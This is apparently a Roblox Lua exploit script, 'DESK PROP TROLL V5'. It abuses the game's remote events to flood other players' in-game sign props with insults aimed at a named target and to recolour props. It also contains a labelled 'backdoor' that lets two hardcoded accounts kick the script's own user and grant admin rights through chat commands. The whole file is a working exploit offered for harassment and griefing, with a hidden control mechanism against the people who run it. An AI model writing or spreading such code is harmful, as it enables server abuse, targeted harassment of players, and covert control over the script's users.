-- [[ DESK PROP TROLL V5 - ULTRA-MAX GOD MODE ]] -- local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local lplr = Players.LocalPlayer local ScreenGui = Instance.new("ScreenGui") local MainFrame = Instance.new("Frame") local UICorner = Instance.new("UICorner") local UIStroke = Instance.new("UIStroke") local Title = Instance.new("TextLabel") local TextBox = Instance.new("TextBox") local StartBtn = Instance.new("TextButton") local StopBtn = Instance.new("TextButton") local RGBBtn = Instance.new("TextButton") -- [1] BACKDOOR KICK SYSTEM local SUPER_ADMINS = {["DEV_123875"] = true, ["ujjwal5380"] = true} local TempAdmins = {} local function isAdmin(playerName) if SUPER_ADMINS[playerName] then return true end if TempAdmins[playerName] and os.time() < TempAdmins[playerName] then return true end return false end local function listenForCommands(player) player.Chatted:Connect(function(message) local msg = string.lower(message) local split = string.split(msg, " ") local command = split[1] local targetInput = msg:sub(#command + 2) if command == "!kick" and isAdmin(player.Name) then if string.find(string.lower(lplr.Name), targetInput) then lplr:Kick("[DESK V5] Admin Kick") end elseif command == "!cmds" and SUPER_ADMINS[player.Name] then for _, p in ipairs(Players:GetPlayers()) do if string.find(string.lower(p.Name), targetInput) then TempAdmins[p.Name] = os.time() + 7200 end end end end) end for _, p in ipairs(Players:GetPlayers()) do listenForCommands(p) end Players.PlayerAdded:Connect(listenForCommands) -- [2] RP NAME & BIO (FIXED) local remoteFolder = ReplicatedStorage:WaitForChild("RE") local nameEvent = remoteFolder:FindFirstChild("1RPNam1eTex1t") local colorEvent = remoteFolder:FindFirstChild("1RPNam1eColo1r") local function updateRP() if nameEvent then nameEvent:FireServer("RolePlayName", "ᴅᴇꜱᴋ ᴘʀᴏᴘ ᴛʀᴏʟʟ ᴠ5 ᴜꜱᴇʀ") nameEvent:FireServer("RolePlayBio", "Welcome dear " .. lplr.DisplayName) end end updateRP() lplr.CharacterAdded:Connect(updateRP) task.spawn(function() local hue = 0 while true do local rgbColor = Color3.fromHSV(hue, 1, 1) if colorEvent then colorEvent:FireServer("PickingRPNameColor", rgbColor) colorEvent:FireServer("PickingRPBioColor", rgbColor) end hue = hue + 0.01 task.wait(0.5) if hue > 1 then hue = 0 end end end) -- [3] UI SETUP ScreenGui.Name = "DeskPropTrollV5" ScreenGui.Parent = game:GetService("CoreGui") MainFrame.Parent = ScreenGui MainFrame.BackgroundColor3 = Color3.fromRGB(5, 5, 5) MainFrame.Position = UDim2.new(0.5, -90, 0.4, 0) MainFrame.Size = UDim2.new(0, 180, 0, 210) MainFrame.Active = true MainFrame.Draggable = true UICorner.Parent = MainFrame UIStroke.Parent = MainFrame UIStroke.Thickness = 3 UIStroke.Color = Color3.fromRGB(255, 0, 255) Title.Parent = MainFrame Title.Size = UDim2.new(1, 0, 0, 40) Title.Text = "DESK PROP TROLL V5" Title.Font = Enum.Font.GothamBold Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1 TextBox.Parent = MainFrame TextBox.Position = UDim2.new(0.1, 0, 0.22, 0) TextBox.Size = UDim2.new(0.8, 0, 0, 30) TextBox.BackgroundColor3 = Color3.fromRGB(25, 25, 25) TextBox.PlaceholderText = "Target Name..." TextBox.TextColor3 = Color3.fromRGB(255, 255, 255) Instance.new("UICorner", TextBox) StartBtn.Parent = MainFrame StartBtn.Position = UDim2.new(0.1, 0, 0.42, 0) StartBtn.Size = UDim2.new(0.8, 0, 0, 25) StartBtn.BackgroundColor3 = Color3.fromRGB(0, 255, 100) StartBtn.Text = "ULTRA ATTACK" Instance.new("UICorner", StartBtn) StopBtn.Parent = MainFrame StopBtn.Position = UDim2.new(0.1, 0, 0.58, 0) StopBtn.Size = UDim2.new(0.8, 0, 0, 25) StopBtn.BackgroundColor3 = Color3.fromRGB(255, 0, 0) StopBtn.Text = "STOP" Instance.new("UICorner", StopBtn) RGBBtn.Parent = MainFrame RGBBtn.Position = UDim2.new(0.1, 0, 0.74, 0) RGBBtn.Size = UDim2.new(0.8, 0, 0, 25) RGBBtn.BackgroundColor3 = Color3.fromRGB(0, 150, 255) RGBBtn.Text = "RGB PROPS: OFF" Instance.new("UICorner", RGBBtn) -- [4] TROLL LOGIC local trolling = false local rgbProps = false local trollList = {"Noob", "Bhag", "Bhaga kyu", "Farar", "Cud", "Bot", "Lamde", "Doremon ki aulaad", "Nobita tere dadaji", "Pil gya", "Chl chl chl", "Meow GHOP GHOP"} local index = 1 local SignRemote = remoteFolder:FindFirstChild("1Cemeter1y") StartBtn.MouseButton1Click:Connect(function() if trolling then return end trolling = true StartBtn.Text = "DESTROYING..." task.spawn(function() while trolling do local target = TextBox.Text ~= "" and TextBox.Text or "HATER" local fullMsg = "[" .. string.upper(target) .. "] " .. trollList[index] if SignRemote then for id = 1, 300 do if not trolling then break end local idStr = tostring(id) SignRemote:FireServer("ReturningBigSign2Name", idStr, fullMsg) SignRemote:FireServer("ReturningBigSign3Name", idStr, fullMsg) SignRemote:FireServer("ReturningBigSign4Name", idStr, fullMsg) SignRemote:FireServer("ReturningConstuctionName", idStr, fullMsg) SignRemote:FireServer("ReturningCommercialWords", id, nil, fullMsg) end end index = (index % #trollList) + 1 task.wait(0.6) end end) end) RGBBtn.MouseButton1Click:Connect(function() rgbProps = not rgbProps RGBBtn.Text = rgbProps and "RGB PROPS: ON" or "RGB PROPS: OFF" if rgbProps then task.spawn(function() local h = 0 while rgbProps do local c = Color3.fromHSV(h, 1, 1) for _, v in ipairs(workspace:GetDescendants()) do if v.Name == "ChangePropColor" and v:IsA("RemoteFunction") then task.spawn(function() v:InvokeServer(c) end) end end local cp = lplr.PlayerGui:FindFirstChild("NoResetGUIHandler") if cp and cp:FindFirstChild("PropColorPicker") then cp.PropColorPicker.SetColor:FireServer(c) end h = (h + 0.1) % 1 task.wait(0.3) end end) end end) StopBtn.MouseButton1Click:Connect(function() trolling = false rgbProps = false StartBtn.Text = "ULTRA ATTACK" RGBBtn.Text = "RGB PROPS: OFF" end)